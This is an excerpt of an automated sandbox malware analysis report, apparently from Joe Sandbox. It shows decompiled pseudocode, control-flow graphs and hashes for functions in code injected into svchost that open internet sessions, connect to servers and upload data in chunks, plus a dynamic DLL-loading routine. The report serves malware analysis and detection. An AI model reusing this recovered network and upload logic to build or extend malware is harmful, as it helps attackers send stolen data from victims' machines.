                                                                                                                                                                                                                                                                                                      control_flow_graph 929 30cefc0-30cefd1 930 30cefdb-30cefdf 929->930 931 30cefd3-30cefd6 929->931 933 30cf005-30cf016 call 30c7460 930->933 934 30cefe1-30cefe5 930->934 932 30cf0f8-30cf0fb 931->932 940 30cf01c-30cf04b call 30c16e0 933->940 941 30cf0f5 933->941 934->933 935 30cefe7-30cf000 call 30c16e0 934->935 935->932 946 30cf0e9-30cf0ed call 30c7700 940->946 947 30cf051 940->947 941->932 952 30cf0f2 946->952 948 30cf058-30cf05e 947->948 950 30cf0bf-30cf0d8 call 30c16e0 948->950 951 30cf060-30cf06b 948->951 950->946 961 30cf0da-30cf0e0 950->961 954 30cf06d-30cf074 951->954 955 30cf076-30cf07c 951->955 952->941 957 30cf07f-30cf0ae call 30c16e0 InternetWriteFile 954->957 955->957 962 30cf0bb 957->962 963 30cf0b0-30cf0bd 957->963 961->946 964 30cf0e2 961->964 962->950 963->948 964->946
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 65%
                                                                                                                                                                                                                                                                                                      			E030CEFC0(void* _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr* _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				long _v20;
                                                                                                                                                                                                                                                                                                      				long _v24;
                                                                                                                                                                                                                                                                                                      				long _v28;
                                                                                                                                                                                                                                                                                                      				intOrPtr* _t45;
                                                                                                                                                                                                                                                                                                      				void* _t49;
                                                                                                                                                                                                                                                                                                      				void* _t54;
                                                                                                                                                                                                                                                                                                      				int _t61;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v16 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					if(_a8 != 0 || _a12 != 0) {
                                                                                                                                                                                                                                                                                                      						_t45 = E030C7460(0x28); // executed
                                                                                                                                                                                                                                                                                                      						_v12 = _t45;
                                                                                                                                                                                                                                                                                                      						if(_v12 == 0) {
                                                                                                                                                                                                                                                                                                      							L20:
                                                                                                                                                                                                                                                                                                      							return _v16;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						 *_v12 = 0x28;
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)(_v12 + 0x1c)) = _a12;
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(_v12);
                                                                                                                                                                                                                                                                                                      						_push(_a4);
                                                                                                                                                                                                                                                                                                      						_t49 = E030C16E0();
                                                                                                                                                                                                                                                                                                      						_t67 =  *((intOrPtr*)(_t49 + 0x2d8));
                                                                                                                                                                                                                                                                                                      						if( *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x2d8))))() == 0) {
                                                                                                                                                                                                                                                                                                      							L19:
                                                                                                                                                                                                                                                                                                      							E030C7700(_t67, _v12); // executed
                                                                                                                                                                                                                                                                                                      							goto L20;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v8 = 0;
                                                                                                                                                                                                                                                                                                      						while(_v8 != _a12) {
                                                                                                                                                                                                                                                                                                      							if(_a12 - _v8 <= 0x80) {
                                                                                                                                                                                                                                                                                                      								_v20 = _a12 - _v8;
                                                                                                                                                                                                                                                                                                      							} else {
                                                                                                                                                                                                                                                                                                      								_v20 = 0x80;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							_v28 = _v20;
                                                                                                                                                                                                                                                                                                      							_v24 = 0;
                                                                                                                                                                                                                                                                                                      							E030C16E0();
                                                                                                                                                                                                                                                                                                      							_t61 = InternetWriteFile(_a4, _a8 + _v8, _v28,  &_v24); // executed
                                                                                                                                                                                                                                                                                                      							if(_t61 == 0) {
                                                                                                                                                                                                                                                                                                      								break;
                                                                                                                                                                                                                                                                                                      							} else {
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v24;
                                                                                                                                                                                                                                                                                                      								continue;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(_a4);
                                                                                                                                                                                                                                                                                                      						_t54 = E030C16E0();
                                                                                                                                                                                                                                                                                                      						_t67 =  *((intOrPtr*)(_t54 + 0x2dc));
                                                                                                                                                                                                                                                                                                      						if( *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x2dc))))() != 0 && _v8 == _a12) {
                                                                                                                                                                                                                                                                                                      							_v16 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						goto L19;
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(_a4);
                                                                                                                                                                                                                                                                                                      						return  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2c4))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v16;
                                                                                                                                                                                                                                                                                                      			}













                                                                                                                                                                                                                                                                                                      0x030cefc6
                                                                                                                                                                                                                                                                                                      0x030cefd1
                                                                                                                                                                                                                                                                                                      0x030cefdf
                                                                                                                                                                                                                                                                                                      0x030cf007
                                                                                                                                                                                                                                                                                                      0x030cf00f
                                                                                                                                                                                                                                                                                                      0x030cf016
                                                                                                                                                                                                                                                                                                      0x030cf0f5
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf0f5
                                                                                                                                                                                                                                                                                                      0x030cf01f
                                                                                                                                                                                                                                                                                                      0x030cf02b
                                                                                                                                                                                                                                                                                                      0x030cf02e
                                                                                                                                                                                                                                                                                                      0x030cf030
                                                                                                                                                                                                                                                                                                      0x030cf032
                                                                                                                                                                                                                                                                                                      0x030cf037
                                                                                                                                                                                                                                                                                                      0x030cf03b
                                                                                                                                                                                                                                                                                                      0x030cf03c
                                                                                                                                                                                                                                                                                                      0x030cf041
                                                                                                                                                                                                                                                                                                      0x030cf04b
                                                                                                                                                                                                                                                                                                      0x030cf0e9
                                                                                                                                                                                                                                                                                                      0x030cf0ed
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf0f2
                                                                                                                                                                                                                                                                                                      0x030cf051
                                                                                                                                                                                                                                                                                                      0x030cf058
                                                                                                                                                                                                                                                                                                      0x030cf06b
                                                                                                                                                                                                                                                                                                      0x030cf07c
                                                                                                                                                                                                                                                                                                      0x030cf06d
                                                                                                                                                                                                                                                                                                      0x030cf06d
                                                                                                                                                                                                                                                                                                      0x030cf06d
                                                                                                                                                                                                                                                                                                      0x030cf082
                                                                                                                                                                                                                                                                                                      0x030cf085
                                                                                                                                                                                                                                                                                                      0x030cf09f
                                                                                                                                                                                                                                                                                                      0x030cf0aa
                                                                                                                                                                                                                                                                                                      0x030cf0ae
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf0b0
                                                                                                                                                                                                                                                                                                      0x030cf0b6
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf0bd
                                                                                                                                                                                                                                                                                                      0x030cf0ae
                                                                                                                                                                                                                                                                                                      0x030cf0bf
                                                                                                                                                                                                                                                                                                      0x030cf0c1
                                                                                                                                                                                                                                                                                                      0x030cf0c3
                                                                                                                                                                                                                                                                                                      0x030cf0c8
                                                                                                                                                                                                                                                                                                      0x030cf0c9
                                                                                                                                                                                                                                                                                                      0x030cf0ce
                                                                                                                                                                                                                                                                                                      0x030cf0d8
                                                                                                                                                                                                                                                                                                      0x030cf0e2
                                                                                                                                                                                                                                                                                                      0x030cf0e2
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cefe7
                                                                                                                                                                                                                                                                                                      0x030cefe7
                                                                                                                                                                                                                                                                                                      0x030cefe9
                                                                                                                                                                                                                                                                                                      0x030cefeb
                                                                                                                                                                                                                                                                                                      0x030cefed
                                                                                                                                                                                                                                                                                                      0x030ceff2
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030ceffe
                                                                                                                                                                                                                                                                                                      0x030cefdf
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                      • Opcode ID: 26e3031e69aea2fb56b45d28922d040e260ed7c9498251156b1775392526dee0
                                                                                                                                                                                                                                                                                                      • Instruction ID: 9091243211d9cad02a582a02234a537d420c48725e43605123d5778a83fabdcb
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 26e3031e69aea2fb56b45d28922d040e260ed7c9498251156b1775392526dee0
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 99414D75A1124AEFDB14DF94C889FEEB7B6BF44700F24859DE5056B280CB70AA44CF92
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 966 30ced20-30ced31 967 30ced3b-30ced59 call 30cec70 966->967 968 30ced33-30ced36 966->968 972 30ced7b-30ced94 call 30c16e0 InternetOpenA 967->972 973 30ced5b-30ced79 call 30c16e0 967->973 969 30cedfb-30cedfe 968->969 978 30ced97-30ced9b 972->978 973->978 980 30cedec-30cedf0 call 30c7700 978->980 981 30ced9d-30cede5 call 30c16e0 * 2 978->981 984 30cedf5-30cedf8 980->984 981->980 984->969
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 54%
                                                                                                                                                                                                                                                                                                      			E030CED20(long _a4, long* _a8) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				char* _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				void* _t32;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v16 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a8 != 0) {
                                                                                                                                                                                                                                                                                                      					_v12 = 0;
                                                                                                                                                                                                                                                                                                      					E030CEC70( &_v12); // executed
                                                                                                                                                                                                                                                                                                      					_v8 = 0;
                                                                                                                                                                                                                                                                                                      					if(_a4 == 0) {
                                                                                                                                                                                                                                                                                                      						_t46 = _v12;
                                                                                                                                                                                                                                                                                                      						E030C16E0();
                                                                                                                                                                                                                                                                                                      						_t32 = InternetOpenA(_v12, 0, 0, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      						_v8 = _t32;
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_t46 = _a4;
                                                                                                                                                                                                                                                                                                      						_push(_a4);
                                                                                                                                                                                                                                                                                                      						_push(3);
                                                                                                                                                                                                                                                                                                      						_push(_v12);
                                                                                                                                                                                                                                                                                                      						_v8 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2a4))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      						_v20 = 0x1d4c0;
                                                                                                                                                                                                                                                                                                      						_v24 = 0x1d4c0;
                                                                                                                                                                                                                                                                                                      						_push(4);
                                                                                                                                                                                                                                                                                                      						_push( &_v20);
                                                                                                                                                                                                                                                                                                      						_push(6);
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2e4))))();
                                                                                                                                                                                                                                                                                                      						_push(4);
                                                                                                                                                                                                                                                                                                      						_push( &_v24);
                                                                                                                                                                                                                                                                                                      						_push(5);
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2e4))))();
                                                                                                                                                                                                                                                                                                      						_t46 = _v8;
                                                                                                                                                                                                                                                                                                      						 *_a8 = _v8;
                                                                                                                                                                                                                                                                                                      						_v16 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					E030C7700(_t46, _v12); // executed
                                                                                                                                                                                                                                                                                                      					return _v16;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v16;
                                                                                                                                                                                                                                                                                                      			}









                                                                                                                                                                                                                                                                                                      0x030ced26
                                                                                                                                                                                                                                                                                                      0x030ced31
                                                                                                                                                                                                                                                                                                      0x030ced3b
                                                                                                                                                                                                                                                                                                      0x030ced46
                                                                                                                                                                                                                                                                                                      0x030ced4e
                                                                                                                                                                                                                                                                                                      0x030ced59
                                                                                                                                                                                                                                                                                                      0x030ced83
                                                                                                                                                                                                                                                                                                      0x030ced87
                                                                                                                                                                                                                                                                                                      0x030ced92
                                                                                                                                                                                                                                                                                                      0x030ced94
                                                                                                                                                                                                                                                                                                      0x030ced5b
                                                                                                                                                                                                                                                                                                      0x030ced5b
                                                                                                                                                                                                                                                                                                      0x030ced5d
                                                                                                                                                                                                                                                                                                      0x030ced5f
                                                                                                                                                                                                                                                                                                      0x030ced62
                                                                                                                                                                                                                                                                                                      0x030ced63
                                                                                                                                                                                                                                                                                                      0x030ced68
                                                                                                                                                                                                                                                                                                      0x030ced76
                                                                                                                                                                                                                                                                                                      0x030ced76
                                                                                                                                                                                                                                                                                                      0x030ced9b
                                                                                                                                                                                                                                                                                                      0x030ced9d
                                                                                                                                                                                                                                                                                                      0x030ceda4
                                                                                                                                                                                                                                                                                                      0x030cedab
                                                                                                                                                                                                                                                                                                      0x030cedb0
                                                                                                                                                                                                                                                                                                      0x030cedb1
                                                                                                                                                                                                                                                                                                      0x030cedb6
                                                                                                                                                                                                                                                                                                      0x030cedc2
                                                                                                                                                                                                                                                                                                      0x030cedc4
                                                                                                                                                                                                                                                                                                      0x030cedc9
                                                                                                                                                                                                                                                                                                      0x030cedca
                                                                                                                                                                                                                                                                                                      0x030cedcf
                                                                                                                                                                                                                                                                                                      0x030ceddb
                                                                                                                                                                                                                                                                                                      0x030cede0
                                                                                                                                                                                                                                                                                                      0x030cede3
                                                                                                                                                                                                                                                                                                      0x030cede5
                                                                                                                                                                                                                                                                                                      0x030cede5
                                                                                                                                                                                                                                                                                                      0x030cedf0
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cedf8
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                      • Opcode ID: e49805c1937747d428293eeb6f8c032c038d889c90b06251f0399b5469347a9f
                                                                                                                                                                                                                                                                                                      • Instruction ID: 7359dc48323f9edbb6f881a250a2a0d24d36da6a5e6d8887b472956582f01831
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e49805c1937747d428293eeb6f8c032c038d889c90b06251f0399b5469347a9f
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5B212CB4A11348FFDB04EF90C949FEEB7B4AF84704F1485A8E5056F290D7B5AA44CB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 83%
                                                                                                                                                                                                                                                                                                      			E030C7F50(intOrPtr _a4, intOrPtr* _a8) {
                                                                                                                                                                                                                                                                                                      				WCHAR* _v8;
                                                                                                                                                                                                                                                                                                      				struct _OBJDIR_INFORMATION _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				struct _EXCEPTION_RECORD _v24;
                                                                                                                                                                                                                                                                                                      				long _t25;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_push(_a4);
                                                                                                                                                                                                                                                                                                      					_push( &_v24);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x15c))))();
                                                                                                                                                                                                                                                                                                      					_v12 = 0;
                                                                                                                                                                                                                                                                                                      					E030C16E0();
                                                                                                                                                                                                                                                                                                      					_t25 = LdrLoadDll(0, 0,  &_v24,  &_v12); // executed
                                                                                                                                                                                                                                                                                                      					_v16 = _t25;
                                                                                                                                                                                                                                                                                                      					if(_v16 >= 0) {
                                                                                                                                                                                                                                                                                                      						if(_a8 != 0) {
                                                                                                                                                                                                                                                                                                      							 *_a8 = _v12;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v8 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}








                                                                                                                                                                                                                                                                                                      0x030c7f56
                                                                                                                                                                                                                                                                                                      0x030c7f61
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c7f6e
                                                                                                                                                                                                                                                                                                      0x030c7f71
                                                                                                                                                                                                                                                                                                      0x030c7f75
                                                                                                                                                                                                                                                                                                      0x030c7f81
                                                                                                                                                                                                                                                                                                      0x030c7f83
                                                                                                                                                                                                                                                                                                      0x030c7f96
                                                                                                                                                                                                                                                                                                      0x030c7f9e
                                                                                                                                                                                                                                                                                                      0x030c7fa0
                                                                                                                                                                                                                                                                                                      0x030c7fa7
                                                                                                                                                                                                                                                                                                      0x030c7fad
                                                                                                                                                                                                                                                                                                      0x030c7fb5
                                                                                                                                                                                                                                                                                                      0x030c7fb5
                                                                                                                                                                                                                                                                                                      0x030c7fb7
                                                                                                                                                                                                                                                                                                      0x030c7fb7
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c7fbe

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • LdrLoadDll.NTDLL(00000000,00000000,?,00000000), ref: 030C7F9E
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Load
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2234796835-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 0ff14de5afa264c38a3170c2fde925e1bb6047c461a57ba9111adfdde588f527
                                                                                                                                                                                                                                                                                                      • Instruction ID: 2f573a2b179bed8feab6f28326d8a215d7a0fef48ea8f8f3363ab691a40a7cda
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0ff14de5afa264c38a3170c2fde925e1bb6047c461a57ba9111adfdde588f527
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FE011A74911248EFDB14DF94C488BDDB7B8EF44704F24C19DE8195B290D774AA44CF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E030CEE00(char* _a4, signed int _a8, void* _a12, void** _a16) {
                                                                                                                                                                                                                                                                                                      				char* _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				void* _t21;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a16 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					if((_a8 & 0x0000ffff) == 0) {
                                                                                                                                                                                                                                                                                                      						_a8 = 0x50;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					E030C16E0();
                                                                                                                                                                                                                                                                                                      					_t21 = InternetConnectA(_a12, _a4, _a8 & 0x0000ffff, 0, 0, 3, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      					_v12 = _t21;
                                                                                                                                                                                                                                                                                                      					if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      						 *_a16 = _v12;
                                                                                                                                                                                                                                                                                                      						_v8 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}






                                                                                                                                                                                                                                                                                                      0x030cee06
                                                                                                                                                                                                                                                                                                      0x030cee11
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cee1e
                                                                                                                                                                                                                                                                                                      0x030cee24
                                                                                                                                                                                                                                                                                                      0x030cee2b
                                                                                                                                                                                                                                                                                                      0x030cee2b
                                                                                                                                                                                                                                                                                                      0x030cee46
                                                                                                                                                                                                                                                                                                      0x030cee51
                                                                                                                                                                                                                                                                                                      0x030cee53
                                                                                                                                                                                                                                                                                                      0x030cee5a
                                                                                                                                                                                                                                                                                                      0x030cee62
                                                                                                                                                                                                                                                                                                      0x030cee64
                                                                                                                                                                                                                                                                                                      0x030cee64
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cee6b

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • InternetConnectA.WININET(?,00000000,?,00000000,00000000,00000003,00000000,00000000), ref: 030CEE51
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: ConnectInternet
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3050416762-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 88ff289a5f0c749348deb1b34a7d583ee8832eacd2b1daeb6abc2f3a908cb5dd
                                                                                                                                                                                                                                                                                                      • Instruction ID: 2f688002d3ab695165a398292c31fda43b65abc4101d28141fa9a954b2a672c0
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 88ff289a5f0c749348deb1b34a7d583ee8832eacd2b1daeb6abc2f3a908cb5dd
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 03014670611208EBDB24DF94D845BAEB7F8AF44746F24809CF908AB2D0D3B4AA80CB51
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E030CF250(void* _a4) {
                                                                                                                                                                                                                                                                                                      				int _t5;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				E030C16E0();
                                                                                                                                                                                                                                                                                                      				_t5 = InternetCloseHandle(_a4); // executed
                                                                                                                                                                                                                                                                                                      				return _t5;
                                                                                                                                                                                                                                                                                                      			}




                                                                                                                                                                                                                                                                                                      0x030cf257
                                                                                                                                                                                                                                                                                                      0x030cf262
                                                                                                                                                                                                                                                                                                      0x030cf265

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(030CF6F7,?,030CF6F7,00000000), ref: 030CF262
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CloseHandleInternet
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1081599783-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 641f69253d9e4f65b0bdad9f0289e7255b531fe9b5a321a78b4646b072e2acfe
                                                                                                                                                                                                                                                                                                      • Instruction ID: 2651bccedd4f716a19d51dfcc03a67681976799f52650b470ef12260bb9ece48
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 641f69253d9e4f65b0bdad9f0289e7255b531fe9b5a321a78b4646b072e2acfe
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 31B0923A2283085BCA08EBE8D889DAA33DCAF84680F0400A9A50C4B222D921FC008694
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                      Callgraph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      • Opacity -> Relevance
                                                                                                                                                                                                                                                                                                      • Disassembly available
